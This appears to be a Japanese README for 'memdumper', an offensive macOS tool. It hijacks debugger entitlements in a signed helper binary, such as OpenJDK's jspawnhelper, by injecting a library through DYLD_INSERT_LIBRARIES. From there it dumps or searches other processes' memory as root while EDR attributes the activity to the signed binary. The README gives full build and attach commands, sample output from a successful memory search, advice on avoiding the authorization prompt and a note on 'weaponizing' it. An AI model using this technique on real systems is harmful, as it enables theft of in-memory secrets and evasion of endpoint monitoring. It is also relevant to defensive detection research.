
macOSのデバッガentitlementsとDYLD_INSERT_LIBRARIESを悪用して、実行中のプロセスのメモリをダンプまたは検索しつつ、EDRの帰属を署名済みヘルパーバイナリへ移行させます。
memdumper は、別の署名済みバイナリのデバッガー entitlement の下で、実行中の macOS プロセスのメモリを読み取ります。目的は、task_for_pid と ptrace をその entitlement を持つバイナリとして実行し、EDR が memdumper ではなくそのバイナリを記録するようにすることです。
by cenobyte [email protected] 2026
https://github.com/cenobyte-vincit/memdumper
memdumper は、com.apple.security.cs.debugger と、DYLD_INSERT_LIBRARIES による注入を可能にする 2 つの entitlement を持つバイナリを起動します。これを使って、別のプロセスのメモリを root として検索・ダンプできます。OpenJDK の jspawnhelper は、特に開発者のマシンでよく見られるバイナリです。
attach.sh に対象 PID と entitlement 付きバイナリを渡します。dylib のコンストラクタはそのバイナリの main より前に実行され、対象を読み取ってから _exit します。entitlement 付きバイナリは main に到達しないため、jspawnhelper のようなヘルパーは使用方法のバナーを表示しません。entitlement 付きバイナリの後にある追加引数は、EDR が記録するコマンドラインに残ります。-s を指定しない場合、dylib は各読み取り可能領域の先頭を hex ダンプします。-s を指定すると、それらの領域を文字列で検索します。対象のアドレス空間は書き込まれません。ptrace による attach は対象を一時的に停止させることがあります。
ダンプの結果は、マージされた出力の [RESULT] 行で確認できます。挿入が成功すると、コンストラクタ完了後に終了コード 0 で終了します。
com.apple.security.cs.debugger、com.apple.security.cs.allow-dyld-environment-variables、com.apple.security.cs.disable-library-validation(例: OpenJDK の jspawnhelper)clangmakeattach.sh とテストスクリプト用)(brew install shellcheck)brew install cppcheck)ビルドホストで:
make
これで memdumper.dylib が生成されます。マシンが異なる場合は、attach.sh と memdumper.dylib をターゲットにコピーしてください。
memdumper.dylib を含むディレクトリから attach.sh を root として実行します。root 以外の呼び出し元は、entitlement 付きバイナリが起動する前に拒否されます(root required)。これにより、Developer Tool Access のパスワードダイアログ(taskgated / Authorization Services)を回避します。このダイアログは Transparency, Consent, and Control (TCC) ではありません。
sudo ./attach.sh [options] -p <pid> <entitled-binary> [args...]
候補の entitlement 付きバイナリが 3 つの entitlement を持つことを確認してください。Cellar プレフィックスと OpenJDK のバージョンは異なる場合があります。attach.sh は自身のヘルプで次のレイアウトを使用しています:
codesign -d --entitlements - \
/opt/homebrew/Cellar/openjdk/25.0.2/libexec/openjdk.jdk/Contents/Home/lib/jspawnhelper
PID 4543 の読み取り可能領域をダンプ:
sudo ./attach.sh -p 4543 \
/opt/homebrew/Cellar/openjdk/25.0.2/libexec/openjdk.jdk/Contents/Home/lib/jspawnhelper
そのプロセスから HELLO を検索:
sudo ./attach.sh -s HELLO -p 4543 \
/opt/homebrew/Cellar/openjdk/25.0.2/libexec/openjdk.jdk/Contents/Home/lib/jspawnhelper
entitlement 付きバイナリとして java を使用し、ダンプを読み取り可能領域 50 個に制限します。TestSpawn はコマンドラインに残ります。java の main は実行されません:
sudo ./attach.sh -n 50 -p 4543 \
/opt/homebrew/Cellar/openjdk/25.0.2/bin/java TestSpawn
Hardened Runtime がないエディタは、動作確認用のスモークターゲットとして機能します。バッファを所有するユーザーとして起動し、root で attach します。1 つのターミナルで:
nano foo
バッファに HELLO を入力して、その文字列がプロセス内にある状態にします(ファイルを書き込むか、未保存のままにします)。別のターミナルで、memdumper.dylib があるディレクトリから:
sudo ./attach.sh -s HELLO -p "$(pgrep nano)" \
/opt/homebrew/Cellar/openjdk/25.0.2/libexec/openjdk.jdk/Contents/Home/lib/jspawnhelper
ヒットした場合の出力は次のようになります。その後、プロセスは終了コード 0 で終了します:
Target: pid 9810 (nano)
Target has no hardened runtime
[MEMDUMPER] Injected into PID 9852 (UID 0)
[MEMDUMPER] Entitled binary: /opt/homebrew/Cellar/openjdk/25.0.2/libexec/openjdk.jdk/Contents/Home/lib/jspawnhelper
[MEMDUMPER] Target: PID 9810 (nano)
[METHOD1] task_for_pid() on PID 9810 (nano)
[*] Got task port 0x1013
[*] Task info: virt=425098.0MB res=8.3MB
[*] Threads: 1
[MEMORY SEARCH] Looking for "HELLO" in PID 9810
MATCH at 0xa70c60200 (region: 0xa70c00000-0xa71000000, prot: rw-)
Context:
0x0000000a70c601c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
0x0000000a70c601d0: 4f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |O...............|
0x0000000a70c601e0: 23 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |#...............|
0x0000000a70c601f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
0x0000000a70c60200: 48 45 4c 4c 4f 00 00 00 00 00 00 00 00 00 00 00 |HELLO...........|
0x0000000a70c60210: 66 6f 6f 00 00 00 00 00 00 00 00 00 00 00 00 00 |foo.............|
0x0000000a70c60220: 6f d9 b9 83 27 dc 6a ec 00 04 00 00 00 00 00 00 |o...'.j.........|
0x0000000a70c60230: 48 45 4c 4c 4f 00 00 00 00 00 00 00 00 00 00 00 |HELLO...........|
0x0000000a70c60240: 2e 2f 00 00 00 |./...|
MATCH at 0xa70c60230 (region: 0xa70c00000-0xa71000000, prot: rw-)
Context:
0x0000000a70c601f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
0x0000000a70c60200: 48 45 4c 4c 4f 00 00 00 00 00 00 00 00 00 00 00 |HELLO...........|
0x0000000a70c60210: 66 6f 6f 00 00 00 00 00 00 00 00 00 00 00 00 00 |foo.............|
0x0000000a70c60220: 6f d9 b9 83 27 dc 6a ec 00 04 00 00 00 00 00 00 |o...'.j.........|
0x0000000a70c60230: 48 45 4c 4c 4f 00 00 00 00 00 00 00 00 00 00 00 |HELLO...........|
0x0000000a70c60240: 2e 2f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |./..............|
0x0000000a70c60250: 66 6f 6f 00 00 00 00 00 00 00 00 00 00 00 00 00 |foo.............|
0x0000000a70c60260: 2f d9 b9 83 27 dc 6a ec 22 90 00 00 00 00 00 00 |/...'.j.".......|
0x0000000a70c60270: 00 00 00 00 00 |.....|
Search complete: 2 matches found in 70 regions
[METHOD2] ptrace(PT_ATTACHEXC) on PID 9810 (nano)
[*] Attached with ptrace
[*] Detached successfully
[METHOD3] proc_pidinfo() on PID 9810 (nano)
[*] Process info: virt=425098MB res=8MB threads=1
[RESULT] 3/3 methods successful - FULL ACCESS
[MEMDUMPER] Done
attach.sh は entitlement 付きバイナリの entitlement をチェックしません。3 つのいずれかが欠けているバイナリは、挿入時または task_for_pid で失敗します。
| Code | Meaning |
|---|---|
| 0 | 挿入成功後のコンストラクタ完了 |
| 1 | 使用方法のエラー、root ではない、カレントディレクトリに memdumper.dylib がない、-p がない、対象 PID が見つからない、--force なしの Hardened Runtime、または挿入が行われなかった(その場合 entitlement 付きバイナリが実行され、非ゼロで終了した) |
ダンプの結果は [RESULT] で確認してください。終了コード 0 は、コンストラクタが実行され _exit したことだけを意味します。
dylib は 3 つの環境変数を読み取ります。attach.sh はフラグからそれらを設定します。
DYLD_INSERT_LIBRARIES を memdumper.dylib に設定し、これらの変数を設定する任意のスターターが dylib を注入できます。attach.sh はリポジトリ内のスターターです。
ビルドホストでは、make が dylib をビルドし、cppcheck と shellcheck を実行します。make test はユニットテストと機能テストスイートを実行します。これらのチェックはクリーンランタイムの証明にはなりません。
ライブの検索・ダンプテストには Homebrew OpenJDK と uid 0 が必要です。これらのテストは /opt/homebrew/Cellar と /usr/local/Cellar の下で jspawnhelper を find します(バージョン固定なし)。自身では sudo を呼び出しません。Homebrew OpenJDK がない場合、またはスイートが既に uid 0 でない場合、これら 2 つのケースはスキップされ(終了コード 77)、root 以外の make test は Developer Tool Access を表示しません。それらの注入を実行したい場合は sudo make test を使用してください。
make
make test
sudo make test
make test-unit
make test-functional
task_for_pid、ptrace、およびメモリ読み取りをブロックします(1Password、Chrome)。--force はそれでも試行しますが、ほぼ常に失敗します。taskgated は Authorization Services の権利 system.privilege.taskport を評価します。このダイアログは TCC ではありません。Developer Mode(DevToolsSecurity -enable)と admin または _developer グループへの所属は、Homebrew の jspawnhelper(adhoc、パブリックのデバッガー entitlement)ではこれを抑止できません。Apple 署名のツール(lldb など)でのみパスワードが省略されます。System Integrity Protection (SIP) により、保護されたシステムプロセスには root でも到達できません。bash を含む)は、他のチェックによって attach を拒否します。attach.sh は memdumper.dylib をスクリプトの隣ではなく、カレントワーキングディレクトリで探します。これを完全に武器化するには、 を同梱するのではなく、ステージ 1 またはステージ 2 でそのスターターを実装してください。system.privilege.taskport、3 つのメソッド、EDR が記録する内容| Option | Meaning |
|---|
-p, --pid PID | 対象プロセス ID (必須) |
-s, --search STRING | 読み取り可能領域から STRING を検索 |
-n, --max-regions N | hex ダンプする読み取り可能領域の最大数(デフォルト 100)。ダンプ経路のみ |
-f, --force | codesign が Hardened Runtime を報告した場合に続行 |
-h, --help | 使用方法を表示(終了コード 1) |
| Variable | Set by | Meaning |
|---|
MEMDUMPER_TARGET_PID | -p | 対象 PID。未設定または正の整数でない場合、コンストラクタは診断メッセージを出力して戻ります |
MEMDUMPER_SEARCH | -s | 空でない場合、ダンプではなく検索 |
MEMDUMPER_MAX_REGIONS | -n | hex ダンプする読み取り可能領域(デフォルト 100)。検索経路では無視 |
attach.sh-n / MEMDUMPER_MAX_REGIONS, デフォルト 100)。ptrace は attach と detach のみです。メモリのダンプは行いません。[RESULT] 3/3 は 3 つの呼び出しすべてが成功したことを意味し、3 つのダンプ経路が実行されたことを意味するわけではありません。DYLD_INSERT_LIBRARIES を含むプロセス環境変数をログに記録します。脅威ハンターはこのフィールドを使ってこの注入を検出します。